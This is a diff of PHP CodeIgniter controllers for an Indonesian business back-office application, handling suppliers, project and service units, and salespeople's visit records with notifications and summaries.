$datShk = $this->Dashboard->getData_SetSupplier_byKARYAWAN($id_karyawan);
if ($datShk==FALSE) {
$input = [
'KOTA_ID' => $id_kota,
'NAMA_SSU' => $nama_ssu,
'KARYAWAN_ID' => $id_karyawan,
'LAST_SSU' => $tgl,
];
$action = $this->Dashboard->create('set_supplier', $input);
$set = 1;
} else {
$update = [
'KOTA_ID' => $id_kota,
'NAMA_SSU' => $nama_ssu,
'LAST_SSU' => $tgl,
];
$action = $this->Dashboard->update('set_supplier', $update, 'ID_SSU', $datShk[0]['ID_SSU']);
$set = 2;
}
if ($set==1) {
$this->session->set_flashdata('filter_success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else if ($set==2) {
$this->session->set_flashdata('filter_success', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('filter_failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function simpan() {
$method = $this->input->post('method');
$id_supplier = $this->input->post('id');
$id_kota = $this->input->post('id_kota');
$nama_supplier = $this->input->post('nama_supplier');
$alamat_supplier = $this->input->post('alamat_supplier');
$telp_supplier = $this->input->post('telp_supplier');
$npwp_supplier = $this->input->post('npwp_supplier');
$top_supplier = $this->input->post('top_supplier');
$email_supplier = $this->input->post('email_supplier');
$pic_supplier = $this->input->post('pic_supplier');
$input = [
'NAMA_SUPPLIER' => $nama_supplier,
'ALAMAT_SUPPLIER' => $alamat_supplier,
'TELP_SUPPLIER' => $telp_supplier,
'NPWP_SUPPLIER' => $npwp_supplier,
'TOP_SUPPLIER' => $top_supplier,
'EMAIL_SUPPLIER' => $email_supplier,
'PIC_SUPPLIER' => $pic_supplier,
'KOTA_ID' => $id_kota
];
$action = $this->Dashboard->create('supplier', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageSupplier');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageSupplier');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_supplier = $this->input->post('id_suppliered');
$id_kota = $this->input->post('id_kotaed');
$nama_supplier = $this->input->post('nama_suppliered');
$alamat_supplier = $this->input->post('alamat_suppliered');
$telp_supplier = $this->input->post('telp_suppliered');
$npwp_supplier = $this->input->post('npwp_suppliered');
$top_supplier = $this->input->post('top_suppliered');
$email_supplier = $this->input->post('email_suppliered');
$pic_supplier = $this->input->post('pic_suppliered');
$update = [
'NAMA_SUPPLIER' => $nama_supplier,
'ALAMAT_SUPPLIER' => $alamat_supplier,
'TELP_SUPPLIER' => $telp_supplier,
'NPWP_SUPPLIER' => $npwp_supplier,
'TOP_SUPPLIER' => $top_supplier,
'EMAIL_SUPPLIER' => $email_supplier,
'PIC_SUPPLIER' => $pic_supplier,
'KOTA_ID' => $id_kota
];
$action = $this->Dashboard->update('supplier', $update, 'ID_SUPPLIER', $id_supplier);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageSupplier');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageSupplier');
}
}
public function hapus() {
$id = $this->input->post('id_supplierdel');
$datPembelian = $this->Dashboard->getData_Pembelian_bySUPPLIER($id);
$datHda = $this->Dashboard->getData_HutangDagang_bySUPPLIER($id);
$datDpb = $this->Dashboard->getData_DpPembelian_bySUPPLIER($id);
$datDkpr = $this->Dashboard->getData_DaftarKlaimProgram_bySUPPLIER($id);
if ($datPembelian==TRUE OR $datHda==TRUE OR $datDpb==TRUE OR $datDkpr==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageSupplier');
}
$action = $this->Dashboard->delete('supplier', $id, 'ID_SUPPLIER');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageSupplier');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageSupplier');
}
}
public function simpan_excel_supplier() {
$id_karyawan = $this->session->userdata('id_karyawan');
$pilih_tabel = array('No', 'Nama', 'Kota' ,'TOP', 'Telepon', 'Alamat', 'NPWP', 'Email', 'PIC');
$tgl = date('d/m/Y');
$datShk = $this->Dashboard->getData_SetSupplier_byKARYAWAN($id_karyawan);
if ($datShk==FALSE) {
$id_kota = 1;
$nama_ssu = NULL;
} else {
$id_kota = $datShk[0]['KOTA_ID'];
$nama_ssu = $datShk[0]['NAMA_SSU'];
}
$dataExcel = $this->Dashboard->getData_Supplier_byNAMA_byKOTA($nama_ssu, $id_kota);
$data = [
'title' => '',
'jumlah_kolom' => count($pilih_tabel),
'nama_tabel' => $pilih_tabel,
'laporan' => $dataExcel,
'tgl' => $tgl,
];
$this->load->view('cetak/excel_supplier', $data);
}
}
@@ -0,0 +1,132 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageUnitProyek extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datUnitProyek = $this->Dashboard->getData_UnitProyek();
$no = 0;
foreach ($datUnitProyek as $key) {
$datDak = $this->Dashboard->getData_DaftarAkuntansi_byUNITPROYEK($key['ID_UNITPROYEK']);
if ($datDak==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datUnitProyek[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['UNITPROYEK_SHM']==0) {
$akses = "Tidak Berhak";
$datUnitProyek = NULL;
} else if ($datShm[0]['UNITPROYEK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['UNITPROYEK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'hak' => $datShm[0]['UNITPROYEK_SHM'],
'akses' => $akses,
'unitproyek' => $datUnitProyek,
];
$this->load->view('master/UnitProyek', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_unitproyek = $this->input->post('id');
$nama_unitproyek = $this->input->post('nama_unitproyek');
$nama_unitproyek = strtoupper($nama_unitproyek);
$datUnitProyek = $this->Dashboard->getData_UnitProyek_byNAMA($nama_unitproyek);
if ($datUnitProyek==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageUnitProyek');
}
$input = [
'NAMA_UNITPROYEK' => $nama_unitproyek,
];
$action = $this->Dashboard->create('unitproyek', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageUnitProyek');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageUnitProyek');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_unitproyek = $this->input->post('id_unitproyeked');
$nama_unitproyek = $this->input->post('nama_unitproyeked');
$nama_unitproyek = strtoupper($nama_unitproyek);
$datUnitProyek = $this->Dashboard->getData_UnitProyek_byNAMA($nama_unitproyek, $id_unitproyek);
if ($datUnitProyek==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageUnitProyek');
}
$update = [
'NAMA_UNITPROYEK' => $nama_unitproyek,
];
$action = $this->Dashboard->update('unitproyek', $update, 'ID_UNITPROYEK', $id_unitproyek);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageUnitProyek');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageUnitProyek');
}
}
public function hapus() {
$id_unitproyek = $this->input->post('id_unitproyekdel');
$datUnitProyek = $this->Dashboard->getData_DaftarAkuntansi_byUNITPROYEK($id_unitproyek);
if ($datUnitProyek==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageUnitProyek');
}
$action = $this ->Dashboard->delete('unitproyek', $id_unitproyek, 'ID_UNITPROYEK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageUnitProyek');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageUnitProyek');
}
}
}
@@ -0,0 +1,138 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageUnitService extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datUnitService = $this->Dashboard->getData_UnitService();
$datJenis = $this->Dashboard->getData_Jenis_BIAYANot0();
$no = 0;
foreach ($datUnitService as $key) {
$datSns = $this->Dashboard->getData_SnService_byUNITSERVICE($key['ID_UNITSERVICE']);
if ($datSns==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datUnitService[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['UNITSERVICE_SHM']==0) {
$akses = "Tidak Berhak";
$datUnitService = NULL;
} else if ($datShm[0]['UNITSERVICE_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['UNITSERVICE_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'unitservice' => $datUnitService,
'jenis' => $datJenis,
'hak' => $datShm[0]['UNITSERVICE_SHM'],
'akses' => $akses,
];
$this->load->view('master/UnitService', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_unitservice = $this->input->post('id');
$id_jenis = $this->input->post('id_jenis');
$nama_unitservice = $this->input->post('nama_unitservice');
$nama_unitservice = strtoupper($nama_unitservice);
$datUnitService = $this->Dashboard->getData_UnitService_byNAMA($nama_unitservice);
if ($datUnitService==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageUnitService');
}
$input = [
'NAMA_UNITSERVICE' => $nama_unitservice,
'JENIS_ID' => $id_jenis
];
$action = $this->Dashboard->create('unitservice', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageUnitService');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageUnitService');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_unitservice = $this->input->post('id_unitserviceed');
$id_jenis = $this->input->post('id_jenised');
$nama_unitservice = $this->input->post('nama_unitserviceed');
$nama_unitservice = strtoupper($nama_unitservice);
$datUnitService = $this->Dashboard->getData_UnitService_byNAMA($nama_unitservice, $id_unitservice);
if ($datUnitService==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageUnitService');
}
$update = [
'NAMA_UNITSERVICE' => $nama_unitservice,
'JENIS_ID' => $id_jenis
];
$action = $this->Dashboard->update('unitservice', $update, 'ID_UNITSERVICE', $id_unitservice);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageUnitService');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageUnitService');
}
}
public function hapus() {
$id_unitservice = $this->input->post('id_unitservicedel');
$datUnitService = $this->Dashboard->getData_SnService_byUNITSERVICE($id_unitservice);
if ($datUnitService==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageUnitService');
}
$action = $this ->Dashboard->delete('unitservice', $id_unitservice, 'ID_UNITSERVICE');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageUnitService');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageUnitService');
}
}
}
@@ -0,0 +1,597 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageVisit extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelVisit', 'Visit');
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function dataVisitUser_Sales_A1() { // [1]
$id_karyawan = $this->session->userdata('id_karyawan');
$visit = $this->Visit->getData_SalesVisit_bySALES_status0($id_karyawan);
$tgl = date('Y-m-d');
$tgl_now = date('d/m/Y');
$no = 0;
foreach ($visit as $key) {
$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($key['ID_SAV']);
if ($datDsav==FALSE) {
$ket = NULL;
$status = NULL;
} else {
$ket = $datDsav[0]['KET_DSAV'];
$status = $datDsav[0]['STATUS_DSAV'];
}
$visit[$no] += ['KET' => $ket];
$visit[$no++] += ['STATUS' => $status];
}
$data = [
'sidebar' => "menu visitsales",
'navChild' => "visit laporansales",
'visit' => $visit,
'tgl' => $tgl,
'tgl_now' => $tgl_now,
'id_karyawan' => $id_karyawan,
];
$this->load->view('proses/VisitUser_Sales_A1', $data);
}
public function simpanvisit_SA1() { // [2]
$id_sav = $this->input->post('id');
$tgl_sav = $this->input->post('tgl_sav');
$nama_sav = $this->input->post('nama_sav');
$id_karyawan = $this->session->userdata('id_karyawan');
$nama_sav = strtoupper($nama_sav);
$input = [
'TGL_SAV' => $tgl_sav,
'SALES_ID' => $id_karyawan,
'NAMA_SAV' => $nama_sav,
'STATUS_SAV' => '0',
'AKUN_ID' => '0',
'KONTAK_ID' => '0',
'SO_ID' => '0'
];
$action = $this->Visit->create('sales_visit', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function batalvisit_SA1() { // [3]
$id_sav = $this->input->post('id_savvoid');
$ket_batal = $this->input->post('ket_batal');
$ket_batal = preg_replace('/\R+/', " " , $ket_batal);
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav==FALSE OR $datSav[0]['STATUS_SAV']!="0") {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderASC($id_sav);
if ($datDsav==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$update = [
'KET_BATAL' => $ket_batal,
'STATUS_SAV' => '3',
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('success', 'dibatalkan');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'dibatalkan');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function dataVisitUser_Sales_A2($id) { // [4]
$id_karyawan = $this->session->userdata('id_karyawan');
$visit = $this->Visit->getData_DaftarSalesVisit_bySAV_orderASC($id);
$datAkun = $this->Visit->getData_Akun();
$datKontak = $this->Visit->getData_Kontak();
$datSo = $this->Visit->getData_SalesOrder_bySALES_status0_status1($id_karyawan);
$datSav = $this->Visit->getData_SalesVisit_byID($id);
$datDsavLast = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($id);
$tgl = date('Y-m-d');
if ($datDsavLast==FALSE) {
$status_dsav = NULL;
} else {
$status_dsav = $datDsavLast[0]['STATUS_DSAV'];
}
$diffawal = new DateTime($datSav[0]['TGL_SAV']);
if ($datSav[0]['SELESAI_SAV']==NULL) {
$diffakhir = new DateTime($tgl);
} else {
$diffakhir = new DateTime($datSav[0]['SELESAI_SAV']);
}
$diff = date_diff($diffawal, $diffakhir);
$diff = $diff->format("%a");
$datPda = $this->Visit->getData_PiutangDagang_bySO($datSav[0]['SO_ID']);
$pdaTrans0 = $this->Visit->getSum_PiutangDagang_bySO_transaksi0($datSav[0]['SO_ID']);
$pdaTrans1 = $this->Visit->getSum_PiutangDagang_bySO_transaksi1($datSav[0]['SO_ID']);
if ($pdaTrans0==FALSE) {
$debet = 0;
} else {
$debet = $pdaTrans0[0]['TOTAL'];
}
if ($pdaTrans1==FALSE) {
$kredit = 0;
} else {
$kredit = $pdaTrans1[0]['TOTAL'];
}
$sisa = $debet-$kredit;
$data = [
'sidebar' => "menu visitsales",
'navChild' => "visit laporansales",
'visit' => $visit,
'pda' => $datPda,
'count' => count($visit),
'akun' => $datAkun,
'kontak' => $datKontak,
'so' => $datSo,
'id_akun' => $datSav[0]['AKUN_ID'],
'id_kontak' => $datSav[0]['KONTAK_ID'],
'id_so' => $datSav[0]['SO_ID'],
'nama_sav' => $datSav[0]['NAMA_SAV'],
'tgl_sav' => $datSav[0]['TGL_SAV'],
'tanggal' => $datSav[0]['TANGGAL'],
'status_dsav' => $status_dsav,
'tgl' => $tgl,
'diff' => $diff,
'debet' => $debet,
'kredit' => $kredit,
'sisa' => $sisa,
'id_karyawan' => $id_karyawan,
'id_sav' => $id,
];
$this->load->view('proses/VisitUser_Sales_A2', $data);
}
public function simpanset_SA2() { // [5]
$id_sav = $this->input->post('id_sav');
$tgl_sav = $this->input->post('tgl_sav');
$id_akun = $this->input->post('id_akun');
$id_kontak = $this->input->post('id_kontak');
$id_so = $this->input->post('id_so');
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav==FALSE OR $datSav[0]['STATUS_SAV']!="0") {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
if ($datSav[0]['KONTAK_ID']!=0 AND $datSav[0]['AKUN_ID']!=0) {
if ($id_akun!=$datSav[0]['AKUN_ID']) {
$this->session->set_flashdata('akun_notvalid', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
if ($id_kontak!="") {
$datKontak = $this->Visit->getData_Kontak($id_kontak);
$id_akun = $datKontak[0]['AKUN_ID'];
}
$update = [
'TGL_SAV' => $tgl_sav,
'AKUN_ID' => $id_akun,
'KONTAK_ID' => $id_kontak,
'SO_ID' => $id_so,
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('success', 'disimpan');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'disimpan');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function simpanvisit_SA2() { // [6]
$id_sav = $this->input->post('id_sav');
$tgl_dsav = $this->input->post('tgl_dsav');
$ket_dsav = $this->input->post('ket_dsav');
$status_dsav = $this->input->post('status_dsav');
$timer_dsav = $this->input->post('timer_dsav');
$id_karyawan = $this->session->userdata('id_karyawan');
if ($timer_dsav<=$tgl_dsav) {
$this->session->set_flashdata('date_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav==FALSE OR $datSav[0]['STATUS_SAV']!="0") {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
if ($status_dsav==1) {
if ($datSav[0]['AKUN_ID']==0) {
$this->session->set_flashdata('akun_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav>=2 OR $status_dsav<=8) {
if ($datSav[0]['KONTAK_ID']==0) {
$this->session->set_flashdata('kontak_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav==9) {
if ($datSav[0]['SO_ID']==0) {
$this->session->set_flashdata('so_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav==10) {
if ($datSav[0]['AKUN_ID']==0 OR $datSav[0]['KONTAK_ID']==0 OR $datSav[0]['SO_ID']==0) {
$this->session->set_flashdata('lock_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
$ket_dsav = preg_replace('/\R+/', " " , $ket_dsav);
$input = [
'SAV_ID' => $id_sav,
'KARYAWAN_ID' => $id_karyawan,
'TGL_DSAV' => $tgl_dsav,
'KET_DSAV' => $ket_dsav,
'TIMER_DSAV' => $timer_dsav,
'STATUS_DSAV' => $status_dsav,
];
$action = $this->Visit->create('daftar_salesvisit', $input);
$id_dsav = $this->Visit->getID_DaftarSalesVisitMax();
$id_dsav = $id_dsav[0]['ID_DSAV'];
$input = [
'TGL_NOTIFIKASI' => $timer_dsav,
'JENIS_NOTIFIKASI' => '7',
'KET_NOTIFIKASI' => $datSav[0]['NAMA_SAV'],
'DSAV_ID' => $id_dsav
];
$action = $this->Visit->create('notifikasi', $input);
$id_notifikasi = $this->Visit->getID_NotifikasiMax();
$id_notifikasi = $id_notifikasi[0]['ID_NOTIFIKASI'];
$input = [
'KARYAWAN_ID' => $id_karyawan,
'NOTIFIKASI_ID' => $id_notifikasi,
'STATUS' => '1',
];
$action = $this->Visit->create('log_notifikasi', $input);
$update = [
'REMINDER_SAV' => $timer_dsav
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function ubahvisit_SA2() { // [7]
$id_sav = $this->input->post('id_saved');
$id_dsav = $this->input->post('id_dsaved');
$tgl_dsav = $this->input->post('tgl_dsaved');
$ket_dsav = $this->input->post('ket_dsaved');
$status_dsav = $this->input->post('status_dsaved');
$timer_dsav = $this->input->post('timer_dsaved');
$id_karyawan = $this->session->userdata('id_karyawan');
if ($timer_dsav<=$tgl_dsav) {
$this->session->set_flashdata('date_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav==FALSE OR $datSav[0]['STATUS_SAV']!="0") {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datDsav = $this->Visit->getData_DaftarSalesVisit_byID($id_dsav);
if ($datDsav==FALSE) {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$checkDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($id_sav);
if ($checkDsav[0]['ID_DSAV']!=$id_dsav) {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
if ($status_dsav==1) {
if ($datSav[0]['AKUN_ID']==0) {
$this->session->set_flashdata('akun_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav>=2 OR $status_dsav<=8) {
if ($datSav[0]['KONTAK_ID']==0) {
$this->session->set_flashdata('kontak_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav==9) {
if ($datSav[0]['SO_ID']==0) {
$this->session->set_flashdata('so_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else if ($status_dsav==10) {
if ($datSav[0]['AKUN_ID']==0 OR $datSav[0]['KONTAK_ID']==0 OR $datSav[0]['SO_ID']==0) {
$this->session->set_flashdata('lock_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
$ket_dsav = preg_replace('/\R+/', " " , $ket_dsav);
$update = [
'KARYAWAN_ID' => $id_karyawan,
'TGL_DSAV' => $tgl_dsav,
'KET_DSAV' => $ket_dsav,
'TIMER_DSAV' => $timer_dsav,
'STATUS_DSAV' => $status_dsav,
];
$action = $this->Visit->update('daftar_salesvisit', $update, 'ID_DSAV', $id_dsav);
$datNotifikasi = $this->Visit->getData_Notifikasi_byDSAV($id_dsav);
$update = [
'TGL_NOTIFIKASI' => $timer_dsav
];
$action = $this->Visit->update('notifikasi', $update, 'ID_NOTIFIKASI', $datNotifikasi[0]['ID_NOTIFIKASI']);
$update = [
'STATUS' => '1'
];
$action = $this->Visit->update('log_notifikasi', $update, 'NOTIFIKASI_ID', $datNotifikasi[0]['ID_NOTIFIKASI']);
$update = [
'REMINDER_SAV' => $timer_dsav
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function hapusvisit_SA2() { // [8]
$id_dsav = $this->input->post('id_dsavdel');
$id_karyawan = $this->session->userdata('id_karyawan');
$datDsav = $this->Visit->getData_DaftarSalesVisit_byID($id_dsav);
if ($datDsav==FALSE) {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$checkDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($datDsav[0]['SAV_ID']);
if ($checkDsav[0]['ID_DSAV']!=$id_dsav) {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datNotifikasi = $this->Visit->getData_Notifikasi_byDSAV($id_dsav);
$action = $this->Visit->delete('log_notifikasi', $datNotifikasi[0]['ID_NOTIFIKASI'], 'NOTIFIKASI_ID');
$action = $this->Visit->delete('notifikasi', $datNotifikasi[0]['ID_NOTIFIKASI'], 'ID_NOTIFIKASI');
$action = $this->Visit->delete('daftar_salesvisit', $id_dsav, 'ID_DSAV');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function kuncivisit_SA2() { // [9]
$id_sav = $this->input->post('id_sav');
$id_so = $this->input->post('id_so');
$sisa = $this->input->post('sisa');
$tgl = date('Y-m-d');
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav[0]['KONTAK_ID']==0 OR $datSav[0]['AKUN_ID']==0 OR $datSav[0]['SO_ID']==0) {
$this->session->set_flashdata('lock_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($id_sav);
if ($datDsav[0]['STATUS_DSAV']!=10) {
$this->session->set_flashdata('ten_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$checkSo = $this->Visit->getData_SalesOrder_byID_status0_status1($id_so);
if ($checkSo==FALSE) {
$this->session->set_flashdata('so_status_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
if ($sisa>0) {
$this->session->set_flashdata('piutang_error', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$update = [
'STATUS_SAV' => '1',
'STATUS_AKHIR' => '10',
'SELESAI_SAV' => $tgl
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('data_lock', 'dikunci');
redirect('ManageVisit/dataVisitUser_Sales_A1');
} else {
$this->session->set_flashdata('failed', 'dikunci');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function takeoutvisit_SA2() { // [10]
$id_sav = $this->input->post('id_sav');
$ket_batal = $this->input->post('ket_batal');
$tgl = date('Y-m-d');
$datSav = $this->Visit->getData_SalesVisit_byID($id_sav);
if ($datSav==FALSE OR $datSav[0]['STATUS_SAV']!="0") {
$this->session->set_flashdata('latest', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($id_sav);
$ket_batal = preg_replace('/\R+/', " " , $ket_batal);
$update = [
'STATUS_SAV' => '2',
'SELESAI_SAV' => $tgl,
'KET_BATAL' => $ket_batal,
'STATUS_AKHIR' => $datDsav[0]['STATUS_DSAV']
];
$action = $this->Visit->update('sales_visit', $update, 'ID_SAV', $id_sav);
if ($action) {
$this->session->set_flashdata('data_lock', 'Take Out');
redirect('ManageVisit/dataVisitUser_Sales_A1');
} else {
$this->session->set_flashdata('failed', 'Take Out');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function dataRekapVisit_Sales_A1($id_karyawan=null) { // [11]
$id_kar = $this->session->userdata('id_karyawan');
$datKaryawan = $this->Visit->getData_Karyawan_SalesOnly_NonFree();
if ($id_karyawan==null) {
$datSav = $this->Visit->getData_SalesVisit_bySALES_status1_status2();
} else {
$datSav = $this->Visit->getData_SalesVisit_bySALES_status1_status2($id_karyawan);
}
$stat01 = 0; $stat02 = 0; $stat03 = 0; $stat04 = 0; $stat05 = 0;
$stat06 = 0; $stat07 = 0; $stat08 = 0; $stat09 = 0; $stat10 = 0;
foreach ($datSav as $key) {
$datDsav = $this->Visit->getData_DaftarSalesVisit_bySAV_orderDESC_limit1($key['ID_SAV']);
if ($datDsav[0]['STATUS_DSAV']=="1") {
$stat01++;
} else if ($datDsav[0]['STATUS_DSAV']=="2") {
$stat02++;
} else if ($datDsav[0]['STATUS_DSAV']=="3") {
$stat03++;
} else if ($datDsav[0]['STATUS_DSAV']=="4") {
$stat04++;
} else if ($datDsav[0]['STATUS_DSAV']=="5") {
$stat05++;
} else if ($datDsav[0]['STATUS_DSAV']=="6") {
$stat06++;
} else if ($datDsav[0]['STATUS_DSAV']=="7") {
$stat07++;
} else if ($datDsav[0]['STATUS_DSAV']=="8") {
$stat08++;
} else if ($datDsav[0]['STATUS_DSAV']=="9") {
$stat09++;
} else if ($datDsav[0]['STATUS_DSAV']=="10") {
$stat10++;
}
}
$data = [
'sidebar' => "menu visitsales",
'navChild' => "visit rekaplaporan",
'id_kar' => $id_kar,
'id_karyawan' => $id_karyawan,
'karyawan' => $datKaryawan,
'stat01' => $stat01,
'stat02' => $stat02,
'stat03' => $stat03,
'stat04' => $stat04,
'stat05' => $stat05,
'stat06' => $stat06,
'stat07' => $stat07,
'stat08' => $stat08,
'stat09' => $stat09,
'stat10' => $stat10,
];
$this->load->view('proses/VisitRekap_Sales_A1', $data);
}
public function dataRekapVisit_Sales_A2($id_karyawan, $bintang) { // [12]
$visit = $this->Visit->getData_SalesVisit_bySALES_byAKHIR($id_karyawan, $bintang);
$no = 0;
foreach ($visit as $key) {
